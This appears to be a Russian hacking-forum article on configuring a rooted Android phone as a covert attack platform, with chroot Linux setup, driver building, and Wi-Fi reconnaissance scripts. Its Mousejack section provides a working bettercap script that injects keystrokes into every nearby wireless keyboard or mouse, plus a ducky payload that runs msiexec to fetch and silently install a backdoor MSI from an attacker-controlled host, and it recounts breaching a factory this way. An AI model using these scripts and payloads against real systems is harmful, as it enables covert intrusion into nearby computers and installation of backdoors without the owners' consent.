• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Киберфон. Превращаем телефон на Android в инструмент хакера

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
839
С точки зрения хакера, мобильный телефон — удобнейшее средство для компьютерных атак, особенно атак околофизического доступа, которые выполняются по радиоканалу. В этой статье мы поговорим о том, как превратить обычный мобильник на Android в могучее оружие хакера.

Сейчас у каждого есть телефон, зачастую даже не один. Так что злоумышленник с мобильником выглядит куда менее подозрительно, чем с ноутбуком. Более того, телефон часто разрешают проносить туда, где ноутбуки запрещены. Телефоны редко рассматриваются как источник угрозы.

У телефона настолько большой потенциал, что с его помощью можно реализовать практически любые физические атаки. Несмотря на то что он работает на мобильном процессоре (ARM), на нем можно запустить почти любой десктопный софт. Все благодаря тому, что Linux — это open source. Все многообразие ПО под него уже давно кросс‑скомпилировано и портировано под множество других архитектур, включая и ARM, да еще и в форме удобных пакетов.

Теперь предлагаю взглянуть на телефон глазами хакера. Сколько атак можно провести с его помощью? Все атаки, что продемонстрированы на Pineapple, можно реализовать и с телефона. Более того, перечень таких атак куда шире. Можно выделить ключевое отличие телефона от Pineapple или любого одноплатника — наличие устройств ввода‑вывода информации. Поскольку у телефона есть экран и клавиатура, атакующий может проводить интерактивные атаки. То есть он в состоянии совмещать автоматизацию типовых действий и ручной ввод дополнительных команд, благодаря чему атаки становятся более таргетированными. Интерактивность — главное преимущество телефона перед автономными устройствами типа Pineapple.

Конечно, это не значит, что ноутбук не годится для физических и околофизических атак. Но вблизи объектов, где много наблюдателей, охраны и везде натыканы камеры, злоумышленник с легкостью может заменить ноутбук телефоном.

Для проведения большинства атак с телефона атакующему, как правило, требуются внешние адаптеры и драйверы для них. Однако некоторые атаки можно провести и без дополнительных устройств, что снижает сложность затеи. B итоге хакерский телефон вполне можно использовать для следующих атак:
  • Wi-Fi (Deauth, Auth, Online brute, WPS, Evil Twin, EAP, Karma);
  • Bluetooth;
  • Whid (Mousejack);
  • SDR (replay, GPS, DMR, TV);
  • Ethernet (атаки и сниффинг);
  • BadUSB (HID, ETH, HDD);
  • RFID/NFC;
  • IrDA;
  • QR.
Давай детально рассмотрим, чем может быть опасен потенциальный злоумышленник с телефоном.

НАСТРОЙКА GNU-ОКРУЖЕНИЯ​

Так уж исторически сложилось, что большая часть хакерского софта обитает в мире Unix. Конечно, под Android тоже существуют аналоги, но крайне неразумно переписывать весь софт под очередную платформу. Куда проще и правильнее организовать слой совместимости и портировать все это для нужной среды. И благодаря тому, что под капотом Android прячется ядро Linux, это действительно просто.

Далее продемонстрирован открытый подход, позволяющий сделать хакерским практически любой Android-телефон. Вопреки общему мнению, чтобы телефон стал хакерским, необязательно использовать специализированную ОС вроде Kali NetHunter. Эти слегка кастомизированные версии Android идут с ядром под соответствующее железо, а значит, перечень поддерживаемых устройств сильно ограничен. Но что делать, если такого мобильника нет в наличии? Ты можешь реализовать все нужное самостоятельно: в этом случае потребуется любой Android-телефон, который должен соответствовать только нескольким простым критериям.

Во‑первых (это самое главное), телефон должен иметь root-права. Без них большая часть атак не работает. Чтобы получить права root, загрузчик телефона должен поддерживать разблокировку. Тогда с его помощью можно перезаписать recovery (небольшая ОС для восстановления данных). А уже затем можно полноценно изменять файлы основной ОС Android.

Во‑вторых, крайне желательно, чтобы телефон имел ядро с поддержкой modprobe для загрузки дополнительных драйверов и поддержки внешних устройств. Часто modprobe может быть доступен даже на стоковом ядре. Но лучше убедиться, что для твоей модели мобильника существуют кастомные ядра, устанавливают которые тоже через recovery.

На самом деле хакеру вовсе не нужно собирать какое‑то особенное ядро, заранее добавляя в него все необходимое и каждый раз часами пересобирая его. Напротив, благодаря модульности ядра Linux можно дособрать любой драйвер для любой железки прямо на текущем ядре, да еще и не на точной версии исходных кодов. И это куда проще и безопаснее, ведь так не теряется набор функций стокового ядра и, скажем, не отваливается камера.

Также обязательно необходим какой‑нибудь терминал, например популярный Termux. Termux весьма удобен, так как имеет встроенный менеджер пакетов. Впрочем, можно легко обойтись и без него. Поскольку хакеру нужно работать с терминалом, удобнее использовать настоящую полноразмерную клавиатуру, например org.pocketworkstation.pckeyboard (Hackers Keyboard).

Наконец, вся хакерская начинка может быть представлена в файле‑образе Linux-дистрибутива, который можно использовать в режиме обычного chroot.

Сначала немного информации о создании chroot-окружения — начальной файловой системы Linux-образа. Фактически это база для хакерского программного инструментария на телефоне. Для этого на Linux-десктопе нужно подготовить файл (будущий образ), на нем создать файловую систему и смонтировать ее:
Код:
truncate -s 10G linux.img
mkfs.ext4 linux.img
mount -o loop linux.img /mnt/iso
Теперь перед хакером чистый лист, который необходимо наполнить системными файлами, то есть установить настоящий Linux. Сделать это можно одной командой, например debootstrap:
Код:
sudo debootstrap --arch arm64 --foreign --variant=minbase \
 stable /mnt/iso/ http://http.us.debian.org/debian
Программа debootstrap просто скачивает минимально необходимый набор deb-пакетов (под ARM) и распаковывает исполняемые файлы, библиотеки и конфиги внутри образа, формируя полностью работоспособное Linux-окружение. В этом случае в качестве базы используется Debian, так как он имеет крайне богатую коллекцию пакетов в своих репозиториях. В качестве альтернативы можно использовать, например, Arch Linux с его хакерским репозиторием BlackArch, содержащим практически весь необходимый атакующий софт. ОС Arch Linux ставится похожим образом и разворачивается from scratch в указанном каталоге.

Затем образ linux.img копируется на телефон, и все дальнейшие действия выполняются уже на нем.

Любую современную ОС можно представить как совокупность как совокупность user mode и kernel mode, то есть пользовательские компоненты и ядро с драйверами. Образ linux.img содержит только компоненты пользовательского режима, но в Linux есть очень четкая граница, позволяющая подключить сколько угодно user space к ядру. Благодаря концепции Unix «все есть файл» и специальным файловым системам, добавление юзерспейсов достигается монтированием нескольких системных каталогов:
Код:
# Подключение Linux-диска
mount -o loop linux.img /data/linux
# Подключение системных каталогов к Linux-образу
mount -t proc none /data/linux/proc
mount -t sysfs none /data/linux/sys
mount -o bind /dev /data/linux/dev
mount -t devpts none /data/linux/dev/pts
# Вход в Linux-контейнер
chroot /data/linux /bin/bash
Последняя команда chroot упрощенно укорачивает пути, отбрасывая /data/linux при каждом обращении к файловой системе. Таким образом, все библиотеки и системные компоненты загружаются исключительно из текущего каталога, словно с корневого раздела. Это обеспечивает также изоляцию файловой системы от ФС Android. Но в то же самое время образ взаимодействует с ядром через системные вызовы и псевдофайловые системы, получая доступ к части железа.

Чтобы удобнее передавать файлы между chroot-контейнером и Android-приложениями, можно подмонтировать пользовательскую папку sdcard:
Код:
mount -o loop /sdcard/ /data/linux/sdcard/
Это может быть удобно, когда необходимо, например, посмотреть HTML-отчет от какой‑нибудь хакерской тулзы привычным браузером телефона. С этого момента начинается полноценный GNU/Linux в обычном мобильнике на Android. И дальше все происходящее напоминает больше классическое администрирование Linux-десктопа или сервера.

Использование Linux в форме образа и проще, и правильнее. Так сохраняется в «чистоте» файловая система Android, упрощается резервное копирование, ведь физически это один файл, и такая система становится портативной. Можно просто скопировать такой заранее настроенный образ на новый девайс без необходимости все настраивать с нуля после каждой замены телефона.

Графический интерфейс​

Несмотря на то что большинство хакерских инструментов консольные, может потребоваться запуск и графических инструментов. Android лишен привычного X-сервера, отрисовывающего графику. Но используя VNC Server, можно легко устранить этот недочет:

gui.sh​

Bash:
#!/bin/bash
cat <<E > ~/.vnc/config
securitytypes=none
geometry=1083x500
localhost
E
vncserver :0
VNC Server — это тот же самый графический X-сервер, только с удобным интерфейсом под VNC-клиент, которых, благодаря открытости протокола, предостаточно даже в виде мобильных приложений. Чтобы рабочий стол содержал привычные элементы, нужно установить соответствующую среду, например для легковесности можно использовать LXDE:
Код:
apt install lxde
Теперь, используя любой мобильный VNC-клиент (например, com.iiordanov.freebVNC), можно получить Linux GUI прямо на телефоне.
Linux стирает грань между компьютером и телефоном

При наличии привычного рабочего стола телефон отличается от ноутбука только отсутствием клавиатуры. VNC Server имеет еще одну удобную и очевидную особенность — к нему можно удаленно подключаться с других устройств. Это дает возможность дистанционно управлять телефоном в оконном режиме.


Звук в chroot-окружении​

В некоторых случаях Linux-программам на телефоне может требоваться полноценный вывод звука. Добиться этого тоже достаточно просто:
Код:
apt install pulseaudio
pulseaudio --start
pactl load-module module-simple-protocol-tcp rate=48000 format=s16le channels=2 source=auto_null.monitor record=true port=8000 listen=127.0.0.1
Теперь весь звук из chroot-окружения выводится на локальный порт 8000/tcp. В окружении Android нужно запустить приложение Simple Procotol Player (com.kaytat.simpleprotocolplayer), которое воспроизводит получаемый звук.


GNU-Android bridge​

Так как работа ведется все же на Android, пусть и из chroot-окружения, может потребоваться доступ к его функциям и датчикам. К сожалению, на Android нельзя получить доступ к некоторому оборудованию через привычные символьные устройства или системные вызовы, так как эта ОС использует сильно модифицированное ядро Linux. Самый простой способ — использовать Termux-API. Он состоит из двух компонентов. Первый компонент — Android-приложение com.termux.api, которое с помощью Java-библиотек получает штатный доступ к камере, диктофону, датчикам и прочим компонентам телефона. Второй компонент — пакет Termux-API, который содержит уже консольные программы, принимающие данные от первого компонента.

Для установки консольных компонентов в Termux нужно выполнить следующую команду:
Код:
pkg install termux-api
Благодаря Termux-API можно получить доступ к начинке телефона из GNU-окружения — привычной командной строки. Это позволяет запрограммировать что угодно крайне простым образом через командную оболочку Bash.

Приложения Termux-API доступны только из окружения консоли Termux, но пока не chroot-образа. Доступ к консоли Termux из консоли chroot-окружения проще всего получить по SSH. Для этого в консоли Termux нужно настроить SSH-сервер:
Код:
ssh-keygen
cat .ssh/id_rsa.pub > .ssh/authorized_keys
sshd
Приватный ключ id_rsa копируется уже в файловую систему chroot-образа. В chroot-окружении для взаимодействия с Termux-API (например, для доступа к датчикам Android) Termux-команды вызываются уже через SSH. Например, отправить Notification в Android из консоли можно простым скриптом:

android/msg_notification.sh​

Bash:
#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-notification -t '$title' -c '$text'"
Уведомления удобно использовать для различных атакующих скриптов. К тому же уведомления позволяют задействовать и умные часы или, например, прочитать вывод команды вслух, используя речевой синтезатор телефона:

android/speak.sh​

Bash:
#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-tts-speak $text"
Что касается датчиков, чтобы получить информацию с акселерометра, можно использовать такой скрипт:

android/sensors/accelerometer.sh​

Bash:
#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-sensor -s 'icm4x6xx Accelerometer' -n 1" | sed -n 4,6p
Информация с такого датчика позволит использовать пространственное положение телефона в качестве триггера для какого‑либо действия. Вообще, у Termux-API достаточно много датчиков и возможностей.

Интерфейс под палец​

Управлять всем через терминал, конечно, хорошо и удобно для автоматизации, но требует от атакующего набирать кучу команд. Современные телефоны лишены удобной физической клавиатуры, а сенсорные виртуальные клавиатуры мало пригодны для комфортной работы в командной строке. Однако интерфейс атакующих скриптов можно упростить.

Termux переводит нажатия на сенсорный экран телефона в события мыши. Некоторые консольные файловые менеджеры, например Midnight Commander, поддерживают работу с файлами, в частности запуск скриптов, обрабатывая такие события. Поэтому этот файловый менеджер может стать простым графическим интерфейсом для управления хакерскими скриптами:
Код:
apt install mc
Все атакующие скрипты можно организовать в виде структуры файлов и папок, логически сгруппированных по типу атак. Благодаря этому навигация нажатиями пальца становится почти такой же удобной, как в обычном мобильном приложении.

Запуск атакующих сценариев одной левой, пальцем и без клавиатуры

Удобно, что Termux поддерживает быстрое изменение масштаба консоли с помощью мультитач‑жеста. Чтобы скрипты могли работать в интерактивном режиме, можно придать им единый стиль интерфейса, позволяющий принять параметры как через опции командной строки, так и через интерактивный запрос того или иного параметра:
Bash:
#!/bin/bash
[[ $# -ge 1 ]] && arg1="$1" || read -p 'arg1: ' arg1
[[ $# -ge 2 ]] && arg2="$2" || arg2='default'
...
Таким образом, любой скрипт можно запустить простым нажатием, а если ему что‑то нужно, то он это запросит в интерактивном режиме. Разнообразные хакерские утилиты пишутся разными людьми, и интерфейсы этих программ тоже разные. Но использование простых Bash-скриптов в качестве оберток позволяет придать им единый стиль, узко заточенный под каждую конкретную атаку.

С помощью таких скриптов весь хакерский набор функций можно настраивать самостоятельно на свой вкус, придавая ему максимальную гибкость. А использование для этого командной оболочки Bash практически не требует серьезного программирования.

Тем не менее интерфейс голой консоли всегда можно обернуть простым веб‑интерфейсом, который вызывает те или иные сценарии и возвращает результат обратно на веб‑страницу. Как известно, веб — это самый простой и переносимый GUI.

Подключение хакерских девайсов к телефону​

Вместо того чтобы использовать встроенные Wi-Fi, Bluetooth или etc-карточки, хакеру проще задействовать внешние решения. На рисунке ниже представлены миниатюрные устройства, имеющие скрытый хакерский потенциал (внизу слева направо):
  • адаптер с режимом монитора Ralink RT5370 — для атак Wi-Fi;
  • адаптер с возможностью смены MAC-адреса CSR 4.0 — для атак Bluetooth;
  • адаптер Logitech C-U0007 — для атак Wireless HID (aka Mousejack).
А также самый миниатюрный OTG (в верхней части рисунка), в зависимости от телефона Type-C/MicroUSB. Он настолько мал, что его можно оставлять прямо в любом из представленных адаптеров.

Маленькие хакерские игрушки

Такие внешние решения имеют явные преимущества. Во‑первых, их можно использовать и на ноутбуке, и на телефоне. Во‑вторых, атакующий не привязан к аппаратной части телефона или ноутбука. Это снова дает автономность, но уже для аппаратной составляющей — при замене телефона не будет утрачен хакерский арсенал.

Стоит отметить, что эти адаптеры имеют аналоги мощнее, но уже в крупном корпусе, более подходящем к работе с ноутбука. Однако ноутбук — это инструмент для атак из надежного укрытия, а телефон можно использовать в полевых условиях. Поэтому потенциальному злоумышленнику куда важнее не привлекать к себе внимание. А меньшая мощность сигнала может быть легко компенсирована возможностью подойти максимально близко к целям атак.

Для использования большинства внешних девайсов атакующему требуется собрать соответствующий драйвер. Чтобы подготовить драйверы под то или иное устройство, вовсе необязательно иметь исходные коды точной версии текущего ядра Linux, на котором работает телефон. Вполне достаточно скачать исходники близкой версии (uname -r). Чтобы не засорять файловую систему основного образа, лучше использовать для хранения исходных кодов ядра отдельный образ, который может меняться от телефона к телефону. Пару шагов назад уже было продемонстрировано создание образа из файла. И тут подразумевается, что нужно сделать то же самое, только вместо установки Linux в образ следует скачать и распаковать исходники ядра. После чего дополнительный образ монтируется уже привычным способом из Android-окружения в каталог chroot-окружения:
Код:
mount -o loop kernel.img /data/linux/usr/src/linux
Как только определен драйвер, который нужно собрать, необходимо запустить компиляцию только одного выбранного модуля (плюс его возможных зависимостей):
Код:
make menuconfig
make modules M=path/to/component
make modules_install
Заметь, тут не происходит компиляции всех модулей и уж тем более не перекомпилируется все ядро. В этом случае собирается только один необходимый модуль и его возможные зависимости.

Итак, вот примерный универсальный алгоритм сборки драйвера. На ноутбуке с Linux запускается команда
Код:
udevadm monitor
Далее в ноутбук нужно вставить наш девайс, и по реакции системы можно увидеть загрузку нужного драйвера, управляющего устройством.
Программа udevadm в режиме реального времени показывает, как система реагирует на изменение аппаратной части компьютера. И где‑то в ее выводе можно увидеть подгрузку требуемых драйверов.

Реакция ОС на подключение устройства

На рисунке видно, какие драйверы подхватывают внешнюю Wi-Fi-карту.

Далее на телефоне нужно перейти в режим интерактивного конфигурирования дерева исходных кодов ядра:
Код:
cd /usr/src/linux
sudo make menuconfig
Для поиска нужного модуля по имени нажать /. Результатом будет Location (расположение модуля) и Prompt — собственно имя модуля. Именно имя нужно отыскать, перемещаясь по каталогам интерактивного меню, и переключить в состояние m. Это означает, что в ходе компиляции он будет оформлен в виде отдельного подгружаемого модуля.

Теперь требуется собрать только выбранный драйвер, указав его Location, и скопировать в специальный системный каталог /lib/modules:
Код:
make modules M=path/to/component
sudo make modules_install SUBDIRS=path/to/component
После чего можно подключать девайс в телефон, предварительно загрузив драйвер:
Код:
sudo modprobe somemodule
sudo insmod /lib/modules/`uname -r`/extra/somemodule.ko
Чаще всего этого хватает, но иногда, особенно когда речь идет о сетевых картах, простой загрузки драйвера через modprobe может быть недостаточно. Могут потребоваться дополнительные действия, связанные с постобработкой. Эту задачу автоматически выполняет udev.

Система udev мониторит изменение конфигурации аппаратной части через sysfs и реагирует на это тем или иным образом, включая подгрузку требуемых драйверов и выполняя по необходимости дополнительные действия. Требуется лишь предварительно запустить систему udev перед подключением устройства:
Код:
sudo /lib/systemd/systemd-udevd –debug
Примерно таким образом можно подружить телефон практически с любым внешним устройством. Ведь современный телефон — не просто телефон, а настоящий карманный компьютер.

MOUSEJACK​

Тему атак с телефона мне хотелось бы начать, пожалуй, с самой опасной беспроводной физической уязвимости — Mousejack. Эта атака просто идеально подходит под эксплуатацию со смартфона. А ее импакт… Если бы я только мог сказать, сколько крупных компаний было пробито подобным образом просто с улицы…

Mousejack — это атака на беспроводные периферийные устройства, а точнее, на их адаптеры. Эта атака во всей ее мощи описана в статье «Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок». Эксплуатация сильно похожа на BadUSB-флешки, с той лишь разницей, что атаку совершают на расстоянии.

Реальная успешность напрямую зависит от количества обнаруженных беспроводных мышек и клавиатур, ведь не все они могут быть уязвимы. Поэтому ее нужно проводить максимально подвижно, например с дрона. Но такая атака может быть достаточно шумной, использование же телефона делает ее практически невидимой.

В таком исполнении не потребуется даже собирать никаких специальных драйверов, нужен только root. На стенде, изображенном на рисунке ниже, телефон напечатал слово test на компьютере, используя радиоканал и адаптер беспроводной мышки.

Телефон на расстоянии нажимает клавиши на ноутбуке с беспроводной мышью

А на следующем рисунке реальный пример, когда телефон с помощью такой атаки передал кое‑что посерьезнее и пробил периметр одного из заводов прямо с улицы, то есть по модели внешнего нарушителя.

Пробитие периметра завода: телефон набирает на уязвимом компьютере команду для скачивания и запуска бэкдора

Сотрудник по ту сторону окна, думаю, сразу понял, что его вовсе не снимали на телефон, а только что хакнули через Mousejack (в рамках легальных работ по пентесту). На экране телефона видно приглашение командной строки компьютера и вход во внутреннюю сеть завода.

Эта атака — самая опасная из всех физических атак ближнего радиуса, а ее проведение требует минимальных технических усилий.

Атакующий, как правило, заранее не знает, у кого и где обнаружатся уязвимые беспроводные устройства. Более того, даже если бы и знал, то их MAC-адреса точно не написаны на самих устройствах. Так что требуется атаковать все и сразу. Приведенный ниже скрипт прослушивает радиоэфир беспроводных периферийных устройств и на каждый обнаруженный новый девайс автоматически отправляет атакующие нажатия:

whid/attack.sh​

Код:
#!/bin/bash
[[ $# -ge 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')
[[ $# -ge 2 ]] && target="$2" || target=''
if [ "x" != "x$target" ]; then
  sudo bettercap -eval "hid.recon on; hid.inject $target US $ducky;" 2> /dev/null
else
  sudo bettercap -eval "hid.recon on; events.on hid.device.new "hid.inject {{address}} US $ducky; sleep 2; hid.inject {{address}} US $ducky; sleep 2; hid.inject {{address}} US $ducky;"" 2> /dev/null
Для надежности на каждое обнаруженное устройство попытка отправить нажатия выполняется трижды. Если в каком‑то месте атакующий обнаружил беспроводную мышь и уверен, что это его объект атаки, то он может запустить этот скрипт, применив атаку только к выбранному устройству.

В качестве полезной нагрузки — нажатий, скачивающих и устанавливающих бэкдор, —используются знакомые нам по BadUSB-HID полезные нагрузки:

whid/ducky.txt​

Код:
GUI r
DELAY 300
STRING msiexec /i https://en.mousejack.attacker.tk/1.msi /quiet
DELAY 300
ENTER
DELAY 300
GUI SPACE
DELAY 300
GUI r
DELAY 300
STRING msiexec /i https://ru.mousejack.attacker.tk/1.msi /quiet
DELAY 300
ENTER
Для успешной эксплуатации требуется проводить нажатия для каждой языковой раскладки. Введенная команда при попытке скачать исполняемый файл выполняет DNS-запрос, который идет на подконтрольный сервер злоумышленника, что служит для него сигналом успешности RCE.

Контрольно‑пропускной пункт, физический периметр вблизи офисов, посты охраны, ресепшен, квартиры, да что угодно — все это цели данной атаки, но только лишь с земли. С воздуха же, с помощью дрона, такая атака дотянется куда угодно.

Современные реалии таковы, что с помощью такой атаки взломать можно практически любую компанию.

WI-FI​

Атаки на Wi-Fi мы рассматриваем уже в третий раз. Впервые — в форм‑факторе Pineapple. Это статичные и длительные по времени атаки, неудобные по расположению, которые реализованы миниатюрной платой, спрятанной неподалеку от объектов атак. Во второй раз — на дроне. Атакующий может уже не дожидаться наступления тех или иных событий, например появления клиентов в области действия, а лететь к ним самостоятельно. И это быстрые и динамичные атаки.

С телефоном — это уже интерактивные атаки. Ведь теперь у атакующего появляется дисплей и клавиатура. И атаковать он может как «в ширину», так и «в глубину». «В ширину» — то есть атаковать все вокруг в течение небольшого промежутка времени, если поблизости множество целей. «В глубину» — то есть проводить более длительные таргетированные статичные атаки, где атакующему, возможно, придется задержаться на какое‑то время.

Для реализации Wi-Fi-атак с телефона в половине случаев нельзя обойтись без внешнего адаптера.

Хакерский режим Wi-Fi сетевой карты

Причина проста: на встроенных Wi-Fi-адаптерах, как правило, заблокирован monitor-режим. Однако кое‑какие вещи все же можно сделать и обычным адаптером, но об этом чуть позже. Для телефона выбран миниатюрный Wi-Fi-адаптер с режимом монитора. В данном случае для его работы необходим драйвер rt2800usb.ko. Нужно включить следующие опции ядра и собрать требуемый код как модуль:
Код:
CONFIG_RT2800USB=m
CONFIG_RT2800USB_RT53XX=y
make modules M=drivers/net/wireless/ralink/rt2x00
Этот модуль требует стек mac80211, следовательно, придется дособрать и его:
Код:
CONFIG_MAC80211=m
CONFIG_CFG80211=m
CONFIG_RFKILL=m
make modules M=net/mac80211
make modules M=net/wireless
make modules M=net/rfkill
make modules_install
Теперь, непосредственно перед подключением Wi-Fi-адаптера в телефон, остается запустить udev, чтобы он не только подгрузил модуль, но и выполнил некоторую постобработку:
Код:
sudo /lib/systemd/systemd-udevd –debug
Если все нормально, то появится долгожданный wlan1 — дополнительный внешний Wi-Fi-интерфейс.

Для хакера, собирающегося атаковать Wi-Fi, крайне важно иметь возможность переводить беспроводной интерфейс в режим монитора. Если iwconfig не может перевести карту в данный режим, это может означать, что карта не поддерживает работу со старым беспроводным стеком ieee80211. В таком случае можно воспользоваться новым mac80211-стеком с помощью более современной и мощной утилиты iw. Запуск режима монитора в стиле mac80211-стека выполняется следующими командами:
Код:
sudo ip link set wlan1 name mon0
sudo iw mon0 set monitor control
sudo ifconfig mon0 up
После подключения внешнего Wi-Fi-адаптера система определяет его как wlan1. Далее интерфейс переименовывается в mon0 и включается режим монитора. В итоге на телефоне в одно и то же время есть wlan0 на встроенном беспроводном адаптере и mon0 на внешнем. Можно, например, запускать точку доступа и мониторить сырые пакеты или рассылать пакеты деаутентификации.

Получилось достаточно много команд. В дальнейшем всю процедуру инициализации внешнего Wi-Fi-адаптера можно автоматизировать с помощью соответствующего скрипта:

wifi/start.sh​

Bash:
#!/bin/bash
sudo /lib/systemd/systemd-udevd --debug &
udevd=$!
count=$(lsusb|wc -l)
while sleep 1; do if [ $(lsusb|wc -l) -ne $count ]; then break; fi; done
sleep 2
sudo kill $udevd
sudo ip link set wlan1 name mon0
sudo iw mon0 set monitor control
sudo ifconfig mon0 up
Скрипт выполняет всю необходимую настройку, включая загрузку нужного драйвера, настройку сетевого интерфейса и, конечно же, активацию режима монитора. Запускать его нужно перед подключением внешнего Wi-Fi-адаптера в телефон. Скрипт дождется изменения в состоянии USB-устройств, активирует режим монитора и самостоятельно завершится.

Используя исходники из пакета realtek-rtl88xxau-dkms, можно собрать драйвер 88XXau.ko и подключить к телефону Alfa.

Wi-Fi-адаптер с активным усилением управляется телефоном

Хакеру удобно использовать телефон с миниатюрными USB-девайсами, но это не всегда возможно. И специально для таких больших устройств можно использовать 180-градусный OTG-адаптер. Он позволяет удобно и незаметно подключать подобные массивные девайсы к телефону.

Незаметное подключение массивных USB-устройств к телефону

Размещать устройства на задней стенке телефона весьма удобно, ведь так они закрываются ладонью, когда телефон лежит в руке. С лицевой стороны практически ничего не заметно.

Wi-Fi-адаптер Alfa в действии

В то же время конструкция подключенного таким образом внешнего устройства не мешает убрать его вместе с телефоном в карман. Но не стоит забывать и про встроенный в телефон Wi-Fi-адаптер, который по‑прежнему доступен атакующему как wlan0. Половину из рассматриваемых далее атак можно провести исключительно с его использованием.

Время переходить непосредственно к атакам. Многие из последующих атак уже рассмотрены в статье «Грозный ананас. Собираем и применяем свой Wi-Fi Pineapple». Однако не все из них целесообразно выполнять непосредственно с такого девайса. Все‑таки Pineapple — это автономное устройство без экрана и клавиатуры, которое лучше подходит для малоподвижных автономных атак.

С телефоном используется совсем иной подход, ведь с ним можно интерактивно взаимодействовать. Поэтому телефон лучше подходит для подвижных атак, успешность которых, например, зависит от взаимодействия с множеством целей, рассредоточенных по площади.

Разведка​

Любая атака начинается с разведки, и Wi-Fi не исключение. Крайне широкое распространение беспроводных точек доступа может потребовать сначала определить имена сетей — объекты атак либо же их географическое местоположение для последующих более прицельных атак. И телефон — самое удобное средство для этой задачи. Он не вызывает подозрений, и на его дисплее, в отличие от Pineapple, можно смотреть результаты.

Собрать полную Wi-Fi-картину достаточно легко с помощью airodump-ng. Так как на борту любого современного телефона есть GPS, можно зафиксировать примерное местоположение каждого беспроводного устройства. Наиболее изящное решение — использовать gpsd, работа с которым поддерживается множеством инструментов, включая airodump-ng. Программа gpsd предоставляет удобный слой абстракции, единый серверный интерфейс для большинства использующих GPS Linux-утилит и не требует каждый раз их настраивать. Сам gpsd может получить информацию о спутниках множеством способов. Проще всего передать их через NMEA-поток UDP-пакетов. Сделать это можно с помощью Android-приложения, такого как io.github.tiagoshibata.gpsdclient или name.kellermann.max.bluenmea.

Однако в зданиях GPS не поможет, потому что его там попросту нет. Сигнал от спутников слишком слабый, и через преграды в виде стен он не проходит. Зато способность телефона определять местоположение по мобильным сетям, причем достаточно точно, может помочь атакующему при разведке внутри зданий.

Получение координат внутри помещений по мобильным сетям

Можно видеть, как termux-location определяет внутри здания широту (latitude) и долготу (longitude) исключительно по сотовым вышкам, Wi-Fi-сетям и датчикам положений. Дальше он передает это скрипту nmea.py, который генерирует синтетический NMEA-поток, направляемый в локальный gpsd. В результате все работающие с GPS Linux-утилиты считают это координатами от спутников.

android/location.sh​

Bash:
#!/bin/bash
[[ $# -ge 1 ]] && provider="$1" || read -p 'gps/network: ' provider
while :; do
  echo -n $(date +"%d.%m.%Y-%H:%M:%S") ""
  ssh -i ~/id_rsa-local -p 8022 lo "termux-location -r last -p $provider | grep -e latitude -e longitude | awk '{print \$2}' | tr -d '\n' | tr ',' ' '"
  echo ""
  sleep 5
done

src/gps/nmea.py​


Python:
#!/usr/bin/python3
import pynmea2
import time
import socket
from sys import argv
ip = argv[1]
port = int(argv[2])
s = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
def lat_sd_to_dm(latitude):
    if latitude < 0:
        lat_dir = 'S'
    else:
        lat_dir = 'N'
    lat = ('%010.5f' % (abs(int(latitude)) * 100 + (abs(latitude) % 1.0) * 60)).rstrip('0')
    return lat_dir,lat
def lon_sd_to_dm(longitude):
    if longitude < 0:
        lon_dir = 'W'
    else:
        lon_dir = 'E'
    lon = ('%011.5f' % (abs(int(longitude)) * 100 + (abs(longitude) % 1.0) * 60)).rstrip('0')
    return lon_dir,lon
while True:
    line = input()
    try:
        datetime,lat,lon = line.split()
        print(lat,lon)
        lat_dir,lat = lat_sd_to_dm(float(lat))
        lon_dir,lon = lon_sd_to_dm(float(lon))
        gga = pynmea2.GGA('GP', 'GGA', (time.strftime("%H%M%S"), lat, lat_dir, lon, lon_dir, '1', '04', '2.6', '1.00', 'M', '-33.9', 'M', '', '0000'))
        rmc = pynmea2.RMC('GP', 'RMC', (time.strftime("%H%M%S"), 'A',  lat, lat_dir, lon, lon_dir, '0', '0.0', time.strftime("%d%m%y"), 'A'))
        for nmea in [gga,rmc]:
            print(str(nmea))
            s.sendto((str(nmea)+"\n").encode(), (ip, port))
    except:
        print(line)
Кстати, такой скрипт можно использовать и для преобразования уже обычных GPS-координат к NMEA:
Код:
~/android/location.sh gps | ~/src/gps/nmea.py ip port
В результате в ходе мониторинга беспроводных сетей становится доступной еще и информация о местоположении.

Airodump-ng теперь фиксирует местоположение по GPS

Программа airodump-ng прекрасно проводит разведку беспроводных сетей с прицелом на безопасность, отображая исчерпывающую информацию и генерируя массу полезных лог‑файлов и отчетов. Но разведка, направленная на пеленгацию точек доступа с использованием GPS, может быть выполнена намного лучше с помощью Kismet. Мощь разведывательного потенциала Kismet продемонстрирована в статье «Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок». Для подключения Kismet к gpsd требуется раскомментировать всего одну директиву в конфиге:

/etc/kismet/kismet.conf​

Код:
gps=gpsd:host=127.0.0.1,port=2947
Запускать программы для захвата и анализа беспроводных устройств, такие как airodump-ng, hcxdumptool, tcpdump, а также Kismet, можно одновременно, они не мешают друг другу работать. В результатах будет большое количество разнообразных дампов и логов. Запуск утилит для захвата и отображения данных о радиоэфире и их анализа автоматизируется всего одним скриптом:

wifi/recon.sh​

Bash:
#/bin/bash
[[ $# -ge 1 ]] && opts=("$@") || opts=()
gpsd -N 'udp://*:2947' &
gpsd=$!
dumpfile=out-$(date +'%d.%m.%Y-%H:%M:%S')
sudo kismet -c mon0 --silent &
kismet=$!
tmux new-session -d -s recon -n hcxdumptool "sudo hcxdumptool -i mon0 --enable_status=8 -o $dumpfile.pcapng --silent --passive"
tmux new-window -t recon -n airodump-ng "sudo airodump-ng mon0 --gpsd -w $dumpfile --uptime --manufacturer --wps -a"
tmux a -t recon \; select-window -t hcxdumptool
tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap
rm -f $dumpfile.pcapng
sudo kill $kismet
kill $gpsd
read -p 'generate reports?' next
airgraph-ng -i $dumpfile-01.csv -g CAPR -o $dumpfile-CAPR.png && mv $dumpfile-CAPR.png /sdcard/
airgraph-ng -i $dumpfile-01.csv -g CPG -o $dumpfile-CPG.png && mv $dumpfile-CPG.png /sdcard/
/opt/giskismet/giskismet --csv $dumpfile-01.kismet.csv
